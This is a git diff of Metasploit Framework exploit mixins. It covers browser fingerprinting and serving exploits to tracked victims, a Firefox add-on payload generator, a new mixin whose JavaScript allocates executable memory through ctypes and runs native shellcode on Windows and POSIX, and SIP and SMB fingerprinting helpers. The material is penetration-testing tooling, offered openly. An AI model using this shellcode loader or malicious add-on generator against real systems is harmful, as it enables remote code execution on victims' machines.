@@ module Msf # @return [Hash] A hash of requirements # def extract_requirements(reqs) - tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)} + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end @@ -175,9 +213,12 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method - vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + expected = k != :vuln_test ? v : 'true' + vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") - if v.is_a? Regexp + if k == :vuln_test + bad_reqs << k unless profile[k.to_sym].to_s == 'true' + elsif v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc bad_reqs << k unless v.call(profile[k.to_sym]) @@ -191,19 +232,17 @@ module Msf # # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie' => + # 'cookie_name' => # { - # :os_name => 'Windows', - # :os_flavor => 'something' + # :os_name => 'Windows 7' # ...... etc ...... # } # A profile should at least have info about the following: # :source : The data source. Either from 'script', or 'headers'. The 'script' source # should be more accurate in some scenarios like browser compatibility mode # :ua_name : The name of the browser - # :ua_ver : The version of the browser - # :os_name : The name of the OS - # :os_flavor : The flavor of the OS (example: XP) + # :ua_ver : The version of the browser (not yet implemented) + # :os_name : The name of the OS ("Windows XP") # :language : The system's language # :arch : The system's arch # :proxy : Indicates whether proxy is used @@ -211,9 +250,12 @@ module Msf # For more info about what the actual value might be for each key, see HttpServer. # # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) - # 'java' : The Java version + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil @@ -238,13 +280,13 @@ module Msf end # - # Initializes a profile + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile # def init_profile(tag) sync do - @target_profiles[tag] = {} + @target_profiles[tag] ||= {} end end @@ -256,14 +298,18 @@ module Msf # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # - def retrieve_tag(request) - tag = request.headers['Cookie'].to_s + def retrieve_tag(cli, request) + cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) + tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ + vprint_status("No cookie received, resorting to headers hash.") ip = cli.peerhost os = request.headers['User-Agent'] tag = Rex::Text.md5("#{ip}#{os}") + else + vprint_status("Received cookie '#{tag}'.") end tag @@ -277,23 +323,18 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # def process_browser_info(source, cli, request) - tag = retrieve_tag(request) - - # Browser doesn't allow cookies. Can't track that, use a different way to track. - init_profile(tag) if request.headers['Cookie'].blank? + tag = retrieve_tag(cli, request) + init_profile(tag) target_info = get_profile(tag) + update_profile(target_info, :source, source.to_s) # Gathering target info from the detection stage case source when :script # Gathers target data from a POST request - update_profile(target_info, :source, 'script') - raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body)) - raw.split('&').each do |item| - k, v = item.scan(/(\w+)=(.*)/).flatten - update_profile(target_info, k.to_sym, v) - end - + parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') + vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") + parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -301,7 +342,6 @@ module Msf # Module has all the info it needs, ua_string is kind of pointless. # Kill this to save space. fp.delete(:ua_string) - update_profile(target_info, :source, 'headers') fp.each do |k, v| update_profile(target_info, k.to_sym, v) end @@ -346,7 +386,7 @@ module Msf <%= js_os_detect %> <%= js_ajax_post %> <%= js_misc_addons_detect %> - <%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> + <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> function objToQuery(obj) { var q = []; @@ -356,32 +396,38 @@ module Msf return Base64.encode(q.join('&')); } + window.onload = function() { - var osInfo = window.os_detect.getVersion(); + var osInfo = os_detect.getVersion(); var d = { - "<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name, - "<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor, - "<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name, - "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, - "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, - "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight() + "os_name" : osInfo.os_name, + "os_vendor" : osInfo.os_vendor, + "os_device" : osInfo.os_device, + "ua_name" : osInfo.ua_name, + "ua_ver" : osInfo.ua_version, + "arch" : osInfo.arch, + "java" : misc_addons_detect.getJavaVersion(), + "silverlight" : misc_addons_detect.hasSilverlight(), + "flash" : misc_addons_detect.getFlashVersion(), + "vuln_test" : <%= js_vuln_test %> }; - <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> - d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion(); + <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> + d['office'] = ie_addons_detect.getMsOfficeVersion(); + d['mshtml_build'] = ScriptEngineBuildVersion().toString(); <% clsid = @requirements[:clsid] method = @requirements[:method] if clsid and method %> - d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); <% end %> <% end %> var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query); - window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/"; + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); } |).result(binding()) @@ -394,11 +440,26 @@ module Msf </script> <noscript> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> - <meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"> + <meta http-equiv="refresh" content="1; url=#{get_module_resource}"> </noscript> | end + # @return [String] name of the tracking cookie + def cookie_name + datastore['CookieName'] || DEFAULT_COOKIE_NAME + end + + def cookie_header(tag) + cookie = "#{cookie_name}=#{tag};" + if datastore['CookieExpiration'].present? + expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i) + expires_str = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT") + cookie << " Expires=#{expires};" + end + cookie + end + # # Handles exploit stages. # @@ -407,35 +468,37 @@ module Msf # def on_request_uri(cli, request) case request.uri - when get_resource.chomp("/") + when '/', get_resource.chomp("/") # # This is the information gathering stage # - if get_profile(retrieve_tag(request)) - send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}") + if get_profile(retrieve_tag(cli, request)) + send_redirect(cli, get_module_resource) return end print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) - ua = request.headers['User-Agent'] + ua = request.headers['User-Agent'] || '' init_profile(tag) + print_status("Sending response HTML.") html = get_detection_html(ua) - send_response(cli, html, {'Set-Cookie' => tag}) + send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled # - process_browser_info(source=:script, cli, request) - send_response(cli, '') + vprint_status "Info receiver page called." + process_browser_info(:script, cli, request) + send_response(cli, '', {'Set-Cookie' => cookie_header(tag)}) when /#{@noscript_receiver_page}/ # # The detection code will hit this instead of Javascript is disabled # Should only be triggered by the img src in <noscript> # - process_browser_info(source=:headers, cli, request) + process_browser_info(:headers, cli, request) send_not_found(cli) when /#{@exploit_receiver_page}/ @@ -443,24 +506,36 @@ module Msf # This sends the actual exploit. A module should define its own # on_request_exploit() to get the target information # - tag = retrieve_tag(request) + tag = retrieve_tag(cli, request) + vprint_status("Serving exploit to user with tag #{tag}") profile = get_profile(tag) - if profile[:tried] and datastore['Retries'] == false + if profile.nil? + print_status("Browsing directly to the exploit URL is forbidden.") + send_not_found(cli) + elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else update_profile(profile, :tried, true) + vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? method(:on_request_exploit).call(cli, request, profile) else - print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}") + print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx") + if bad_reqs.include?(:vuln_test) + error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error] + if error_string.present? + print_warning(error_string) + end + end send_not_found(cli) end end else + print_error("Target has requested an unknown path: #{request.uri}") send_not_found(cli) end end @@ -506,13 +581,38 @@ module Msf arch = browser_info[:arch] platform = browser_info[:os_name] - # Fix names for consisntecy so our API can find the right one + # Fix names for consistency so our API can find the right one # Originally defined in lib/msf/core/constants.rb platform = platform.gsub(/^Mac OS X$/, 'OSX') - platform = platform.gsub(/^Microsoft Windows$/, 'Windows') + platform = platform.gsub(/^Windows.*$/, 'Windows') regenerate_payload(cli, platform, arch).encoded end + # @return [String] custom Javascript to check if a vulnerability is present + def js_vuln_test + all_reqs = self.module_info['BrowserRequirements'] || {} + if all_reqs[:vuln_test].present? + code = all_reqs[:vuln_test] + ';return !!this.is_vuln;' + 'Function(('+JSON.generate(:code => code)+').code)()' + else + 'true' + end + end + + private + + # + # Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead. + # + def send_not_found(cli) + custom_404_url = get_custom_404_url + if custom_404_url.blank? + super(cli) + else + send_redirect(cli, custom_404_url) + end + end + end end diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb index 77678e4aef..0a2b19bf6c 100644 --- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -9,9 +9,7 @@ module Msf module Exploit::Remote::FirefoxAddonGenerator - - # for calling #generate_payload_exe - include Msf::Exploit::EXE + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation # Add in the supported datastore options def initialize(info={}) @@ -20,52 +18,16 @@ module Exploit::Remote::FirefoxAddonGenerator 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ - [ 'Universal (Javascript XPCOM Shell)', - { + [ + 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], - [ 'Windows x86 (Native Payload)', - { - 'Platform' => 'win', - 'Arch' => ARCH_X86 - } - ], - [ 'Windows x64 (Native Payload)', - { - 'Platform' => 'windows', - 'Arch' => ARCH_X64 - } - ], - [ 'Linux x86 (Native Payload)', - { - 'Platform' => 'linux', - 'Arch' => ARCH_X86 - } - ], - [ 'Linux x64 (Native Payload)', - { - 'Platform' => 'linux', - 'Arch' => ARCH_X64 - } - ], - [ 'Mac OS X PPC (Native Payload)', - { - 'Platform' => 'osx', - 'Arch' => ARCH_PPC - } - ], - [ 'Mac OS X x86 (Native Payload)', - { - 'Platform' => 'osx', - 'Arch' => ARCH_X86 - } - ], - [ 'Mac OS X x64 (Native Payload)', - { - 'Platform' => 'osx', - 'Arch' => ARCH_X64 + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL } ] ], @@ -85,61 +47,14 @@ module Exploit::Remote::FirefoxAddonGenerator # 'application/x-xpinstall' MIME type # @return nil if payload fails to generate def generate_addon_xpi(cli) - if target.name =~ /Javascript/ - payload_file = nil - payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' - payload_script = regenerate_payload(cli).encoded - else - payload_file = generate_payload_exe - return nil if payload_file.nil? - payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' - payload_script=%q| - var process=Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(tmp); - process.run(false,[],0); - | - if target.name != 'Windows x86 (Native Payload)' - payload_script = %q| - var chmod=Components.classes["@mozilla.org/file/local;1"] - .createInstance(Components.interfaces.nsILocalFile); - chmod.initWithPath("/bin/chmod"); - var process=Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(chmod); - process.run(true, ["+x", tmp.path], 2); - | + payload_script - end - end - zip = Rex::Zip::Archive.new - bootstrap_script = 'function startup(data, reason) {' xpi_guid = Rex::Text.rand_guid - - if target.name !~ /Javascript/ - bootstrap_script << %q| - var file = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("ProfD", Components.interfaces.nsIFile); - file.append("extensions"); - | - bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| - bootstrap_script << %Q|payload_name="#{payload_name}";| - bootstrap_script << %q| - file.append(xpi_guid); - file.append(payload_name); - var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("TmpD", Components.interfaces.nsIFile); - tmp.append(payload_name); - tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); - file.copyTo(tmp.parent, tmp.leafName); - | - end - - bootstrap_script << payload_script + p = regenerate_payload(cli).encoded + bootstrap_script = 'function startup(data, reason) {' + bootstrap_script << run_payload if (datastore['AutoUninstall']) + bootstrap_script << %Q|var xpi_guid = "#{xpi_guid}";| bootstrap_script << %q| function uninstallMe() { try { // Fx < 4.0 @@ -160,7 +75,6 @@ module Exploit::Remote::FirefoxAddonGenerator bootstrap_script << "}" zip.add_file('bootstrap.js', bootstrap_script) - zip.add_file(payload_name, payload_file) unless payload_file.nil? zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") zip.add_file('install.rdf', %Q|<?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> diff --git a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb new file mode 100644 index 0000000000..2f298b93e9 --- /dev/null +++ b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb @@ -0,0 +1,158 @@ +# -*- coding: binary -*- + +### +# +# The FirefoxPrivilegeEscalation mixin provides some methods to +# run native shellcode from a Firefox JS privileged environment +# +### + +require 'msf/core/exploit/jsobfu' + +module Msf +module Exploit::Remote::FirefoxPrivilegeEscalation + + # automatically obfuscate anything that runs through `js_exec` + include Msf::Exploit::JSObfu + + # Sends the +js+ code to the remote session, which executes it in Firefox's + # privileged javascript context. The code will be obfuscated if the JsObfuscate + # datastore option is set to 1 or higher. + # + # @return [String] the results that were sent back. This can be achieved through + # calling the "send" function, or by just returning the value in +js+ + def js_exec(js, timeout=30) + print_status "Running the privileged javascript..." + token = "[[#{Rex::Text.rand_text_alpha(8)}]]" + js = js_obfuscate(js) + session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}") + session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout) + end + + # Puts the shellcode into memory, adds X flag, and calls it + # The js function throws on error + # @return [String] javascript code containing the execShellcode() javascript fn + def exec_shellcode_source + %Q| + var execShellcode = function(shellcode, bytes) { + Components.utils.import("resource://gre/modules/ctypes.jsm"); + + var execPosix = function() { + var RWX = 7, ANON_PRIVATE = 4098; + Components.utils.import("resource://gre/modules/ctypes.jsm"); + var LIBS = [ + "/usr/lib/libSystem.B.dylib", + "libc.so.6", + "libc.so" + ]; + + var i, lib; + for (i in LIBS) { + try { + lib = ctypes.open(LIBS[i]); + break; + } catch (e) {} + } + if (!lib) throw new Error("Could not find lib in ["+LIBS+"]"); + + var mmap = lib.declare('mmap', + ctypes.default_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* address (NULL here) */ + ctypes.size_t, /* num bytes */ + ctypes.int, /* PROT_READ OR PROT_WRITE OR PROT_EXEC */ + ctypes.int, /* MAP_ANONYMOUS OR MAP_PRIVATE */ + ctypes.int, /* fd (0) */ + ctypes.int /* offset (0) */ + ); + var memcpy = lib.declare('memcpy', + ctypes.default_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* dest */ + ctypes.voidptr_t, /* src */ + ctypes.size_t /* size to copy */ + ); + var fork = lib.declare('fork', + ctypes.default_abi, /* calling convention */ + ctypes.int /* return type */ + ); + var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0); + var cstr = ctypes.jschar.array()(shellcode); + memcpy(buff, cstr, bytes); + /* there is probably a better way to do this */ + var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/); + if (!m) throw new Error("Could not find address of buffer."); + if (fork() == 0) { + ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))(); + } + }; + + var execWindows = function() { + var RWX = 0x40, ANON_PRIVATE = 0x1000; + var Kernel32 = ctypes.open("Kernel32.dll"); + var VirtualAlloc = Kernel32.declare('VirtualAlloc', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* start address (NULL here) */ + ctypes.size_t, /* num bytes */ + ctypes.unsigned_long, /* alloc type */ + ctypes.unsigned_long /* protection flags */ + ); + var RtlMoveMemory = Kernel32.declare('RtlMoveMemory', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* dest */ + ctypes.voidptr_t, /* src */ + ctypes.size_t /* size to copy */ + ); + var CreateThread = Kernel32.declare('CreateThread', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* lpThreadAttributes */ + ctypes.voidptr_t, /* dwStackSize */ + ctypes.voidptr_t, /* lpStartAddress copy */ + ctypes.voidptr_t, /* lpParameter */ + ctypes.voidptr_t, /* dwCreationFlags */ + ctypes.voidptr_t /* lpThreadId */ + ); + var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX); + var cstr = ctypes.jschar.array()(shellcode); + RtlMoveMemory(buff, cstr, bytes); + var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/); + if (!m) throw new Error("Could not find address of buffer."); + var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16)); + CreateThread(null, null, fn, null, null, null); + }; + + var i, errs = [], fns = [execWindows, execPosix]; + for (i in fns) { + try { + fns[i](shellcode); + return true; + } catch(e) { errs.push(e.message); } + } + + throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]"); + }; + | + end + + # @return [String] javascript source code that kicks off the execution of the payload + # For a javascript payload, this simply returns the payload source + # For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode + def run_payload + return payload.encoded if js_target? + %Q| + #{exec_shellcode_source} + var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}"); + execShellcode(sc, #{payload.encoded.bytes.to_a.length}); + | + end + + # @return [Boolean] the user has selected a javascript (non-native) target + def js_target? + target.arch[0] == ARCH_FIREFOX + end + +end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/sip.rb b/lib/msf/core/exploit/sip.rb new file mode 100644 index 0000000000..34138af7fc --- /dev/null +++ b/lib/msf/core/exploit/sip.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +require 'rex/proto/sip/response' + +module Msf + # SIP protocol support + module Exploit::Remote::SIP + # Parses +response+, extracts useful metdata and then reports on it. + # Returns true iff the response was a valid SIP response + def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow)) + endpoint = "#{rhost}:#{rport} #{proto}" + begin + options_response = Rex::Proto::SIP::Response.parse(response) + rescue ArgumentError => e + vprint_error("#{endpoint} is not SIP: #{e}") + return false + end + + # Extracted headers, stored as a hash where the key is the header name + # and the value is a list of all values seen for the header, covering the + # case where the same header value is seen multiple times + extracted_headers = {} + unless desired_headers.nil? || desired_headers.empty? + desired_headers.each do |desired_header| + next unless (found_header = options_response.header(desired_header)) + extracted_headers[desired_header] ||= [] + extracted_headers[desired_header] |= found_header + end + end + + # Create a SIP OPTIONS fingerprint hash + fprint = { + 'code' => options_response.code, + 'message' => options_response.message + } + + # compact the header values, append the header information to the + # fingerprint hash + extracted_headers.each_pair do |k,v| + value = v.join(',') + extracted_headers[k] = value + fprint['header_' + k.gsub('-', '_').downcase] = value + end + + # Create a summary of the response + status = options_response.status_line.dup + unless extracted_headers.keys.empty? + status << ": #{extracted_headers}" + end + + # Report the service with the status information + report_service( + host: rhost, + port: rport, + proto: proto.downcase, + name: 'sip', + info: status + ) + + # Report the fingerprint information + report_note( + host: rhost, + port: rport, + proto: proto.downcase, + type: "sip.options.fingerprint", + data: fprint + ) + + # Display the actual result to the user + print_status(endpoint + " " + status) + true + end + + def create_probe(ip, proto) + suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1) + shost = Rex::Socket.source_address(ip) + src = "#{shost}:#{datastore['RPORT']}" + + data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" + data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" + data << "To: sip:#{datastore['TO']}@#{ip}\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" + data << "CSeq: 1 OPTIONS\r\n" + data << "Contact: sip:#{suser}@#{src}\r\n" + data << "Max-Forwards: 20\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Accept: application/sdp\r\n" + data << "Content-Length: 0\r\n" + data << "\r\n" + data + end + end +end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 4eddb125d6..b044eb2c1a 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -6,6 +6,8 @@ require 'rex/encoder/ndr' module Msf +require 'msf/core/exploit/smb_server' + ### # # This mixin provides utility methods for interacting with a SMB/CIFS service on @@ -17,9 +19,6 @@ module Msf module Exploit::Remote::SMB - require 'msf/core/exploit/smb/authenticated' - require 'msf/core/exploit/smb/psexec' - include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -313,12 +312,12 @@ module Exploit::Remote::SMB #providers = [] # #0.upto(pcnt-1) do |i| - # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") + # flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV") # - # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') - # #name = read_unicode(resp,8+name_o).gsub("\x00", '') - # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') - # #providers << [flags,desc,name,comm] + # #desc = read_unicode(resp,8+desc_o).gsub("\x00", '') + # #name = read_unicode(resp,8+name_o).gsub("\x00", '') + # #comm = read_unicode(resp,8+comm_o).gsub("\x00", '') + # #providers << [flags,desc,name,comm] #end # #providers @@ -332,93 +331,53 @@ module Exploit::Remote::SMB fprint = {} # Connect to the server if needed - if(not self.simple) + if not self.simple connect() smb_login() end + fprint['native_os'] = smb_peer_os() + fprint['native_lm'] = smb_peer_lm() + # Leverage Recog for SMB native OS fingerprinting + fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { } - os = 'Unknown' - sp = '' + os = fp_match['os.product'] || 'Unknown' + sp = fp_match['os.version'] || '' - case smb_peer_os() - when 'Windows NT 4.0' - os = 'Windows NT 4.0' - - when 'Windows 5.0' - os = 'Windows 2000' - - when 'Windows 5.1' - os = 'Windows XP' - - when /Windows XP (\d+) Service Pack (\d+)/ - os = 'Windows XP' - sp = 'Service Pack ' + $2 - - when /Windows Server 2003 (\d+)$/ - os = 'Windows 2003' - sp = 'No Service Pack' - - when /Windows Server 2003 (\d+) Service Pack (\d+)/ - os = 'Windows 2003' - sp = 'Service Pack ' + $2 - - when /Windows Server 2003 R2 (\d+) Service Pack (\d+)/ - os = 'Windows 2003 R2' - sp = 'Service Pack ' + $2 - - when /Windows Vista \(TM\) (\w+|\w+ \w+) (\d+) Service Pack (\d+)/ - os = 'Windows Vista ' + $1 - sp = 'Service Pack ' + $3 - - when /Windows Vista \(TM\) (\w+|\w+ \w+) (\d+)/ - os = 'Windows Vista ' + $1 - sp = '(Build ' + $2 + ')' - - when /Windows Server \(R\) 2008 (([\-\w]+ ){1,4})(\d+) Service Pack (\d+)/ - os = 'Windows 2008 ' + $1.strip - sp = 'Service Pack ' + $4 - - when /Windows Server \(R\) 2008 (([\-\w]+ ){1,4})(\d+)/ - os = 'Windows 2008 ' + $1.strip - sp = '(Build ' + $3 + ')' - - when /Windows \(R\) Storage Server 2008 (([\-\w]+ ){1,4})(\d+) Service Pack (\d+)/ - os = 'Windows 2008 Storage Server ' + $1.strip - sp = 'Service Pack ' + $4 - - when /Windows \(R\) Storage Server 2008 (([\-\w]+ ){1,4})(\d+)/ - os = 'Windows 2008 Storage Server ' + $1.strip - sp = '(Build ' + $3 + ')' - - when /Windows 7 (([\-\w]+ ){1,4})(\d+)/ - os = 'Windows 7 ' + $1.strip - sp = '(Build ' + $3 + ')' - - when /^(Windows.*) Service Pack (\d+)/ - os = $1.strip - sp = 'Service Pack ' + $2 - - when /^(Windows.*) (\d+)/ - os = $1.strip - sp = '(Build ' + $2 + ')' - - when 'VxWorks' - os = 'VxWorks' - sp = smb_peer_lm() - - when 'Unix' - os = 'Unix' - sv = smb_peer_lm() - case sv - when /Samba\s+(.*)/i - sp = 'Samba ' + $1 - end + # Metasploit prefers 'Windows 2003' vs 'Windows Server 2003' + if os =~ /^Windows Server/ + os = os.sub(/^Windows Server/, 'Windows') end + if fp_match['os.edition'] + fprint['edition'] = fp_match['os.edition'] + end - if (os == 'Windows XP' and sp.length == 0) + if fp_match['os.build'] + fprint['build'] = fp_match['os.build'] + end + + if sp == '' + sp = smb_fingerprint_windows_sp(os) + end + + lang = smb_fingerprint_windows_lang + + fprint['os'] = os + fprint['sp'] = sp + fprint['lang'] = lang + + fprint + end + + # + # Determine the service pack level of a Windows system via SMB probes + # + def smb_fingerprint_windows_sp(os) + sp = '' + + if (os == 'Windows XP') # SRVSVC was blocked in SP2 begin smb_create("\\SRVSVC") @@ -513,6 +472,14 @@ module Exploit::Remote::SMB end end + sp + end + + + # + # Determine the native language pack of a Windows system via SMB probes + # + def smb_fingerprint_windows_lang # # Remote language detection via Print Providers @@ -666,12 +633,7 @@ module Exploit::Remote::SMB raise $! rescue ::Rex::Proto::SMB::Exceptions::ErrorCode end - - fprint['os'] = os - fprint['sp'] = sp - fprint['lang'] = lang - - fprint + lang end # @return [Rex::Proto::SMB::SimpleClient] @@ -679,153 +641,5 @@ module Exploit::Remote::SMB end -### -# -# This mixin provides a minimal SMB server -# -### - -module Exploit::Remote::SMBServer - include Exploit::Remote::TcpServer - include Exploit::NTLM - CONST = ::Rex::Proto::SMB::Constants - CRYPT = ::Rex::Proto::SMB::Crypt - UTILS = ::Rex::Proto::SMB::Utils - XCEPT = ::Rex::Proto::SMB::Exceptions - EVADE = ::Rex::Proto::SMB::Evasions - - def initialize(info = {}) - super - - register_options( - [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) - ], self.class) - end - - def setup - super - @state = {} - end - - def on_client_connect(client) - # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") - smb_conn(client) - end - - def on_client_data(client) - # print_status("New data from #{client.peerhost}:#{client.peerport}") - smb_recv(client) - true - end - - def on_client_close(client) - smb_stop(client) - end - - def smb_conn(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} - end - - def smb_stop(c) - @state.delete(c) - end - - def smb_recv(c) - smb = @state[c] - smb[:data] ||= '' - smb[:data] << c.get_once - - while(smb[:data].length > 0) - - return if smb[:data].length < 4 - - plen = smb[:data][2,2].unpack('n')[0] - - return if smb[:data].length < plen+4 - - buff = smb[:data].slice!(0, plen+4) - - pkt_nbs = CONST::NBRAW_PKT.make_struct - pkt_nbs.from_s(buff) - - # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") - - # Check for a NetBIOS name request - if (pkt_nbs.v['Type'] == 0x81) - # Accept any name they happen to send - - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') - - smb[:nbdst] = host_dst - smb[:nbsrc] = host_src - - # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") - c.write("\x82\x00\x00\x00") - next - end - - - # - # TODO: Support AndX parameters - # - - - # Cast this to a generic SMB structure - pkt = CONST::SMB_BASE_PKT.make_struct 